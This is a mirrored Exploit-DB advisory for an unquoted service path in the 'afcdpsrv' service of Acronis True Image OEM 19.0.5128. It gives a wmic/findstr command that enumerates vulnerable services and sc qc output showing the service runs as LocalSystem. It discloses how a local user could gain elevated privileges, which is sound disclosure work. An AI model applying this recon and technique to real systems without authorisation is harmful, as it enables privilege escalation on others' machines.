Acronis True Image OEM 19.0.5128 – ‘afcdpsrv’ Unquoted Service Path

• Exploit Database
• 114 阅读

• 作者： Alejandra Sánchez
  日期： 2019-11-12
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/47615/
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  # Exploit Title: Acronis True Image OEM 19.0.5128 - 'afcdpsrv' Unquoted Service Path # Date: 2019-11-11 # Author: Alejandra Sánchez # Vendor Homepage: https://www.acronis.com # Software: ftp://supportdownload:supportdownload@ftp.kingston.com/AcronisTrueImageOEM_5128.exe # Version: 19.0.5128 # Tested on: Windows 10   # Description: # Acronis True Image OEM 19.0.5128 suffers from an unquoted search path issue impacting the service 'afcdpsrv'. This could potentially allow an # authorized but non-privileged local user to execute arbitrary code with elevated privileges on the system. A successful attempt would require # the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could # potentially be executed during application startup or reboot. If successful, the local user’s code would execute with the elevated privileges # of the application.   # Prerequisites # Local, Non-privileged Local User with restart capabilities   # Details C:\>wmic service get name, pathname, displayname, startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """   Acronis Nonstop Backup Service afcdpsrv C:\Program Files (x86)\Common Files\Acronis\CDP\afcdpsrv.exe Auto   C:\>sc qc afcdpsrv [SC] QueryServiceConfig SUCCESS   SERVICE_NAME: afcdpsrv TYPE : 10WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL: 0 IGNORE BINARY_PATH_NAME : C:\Program Files (x86)\Common Files\Acronis\CDP\afcdpsrv.exe LOAD_ORDER_GROUP : TAG: 0 DISPLAY_NAME : Acronis Nonstop Backup Service DEPENDENCIES : SERVICE_START_NAME : LocalSystem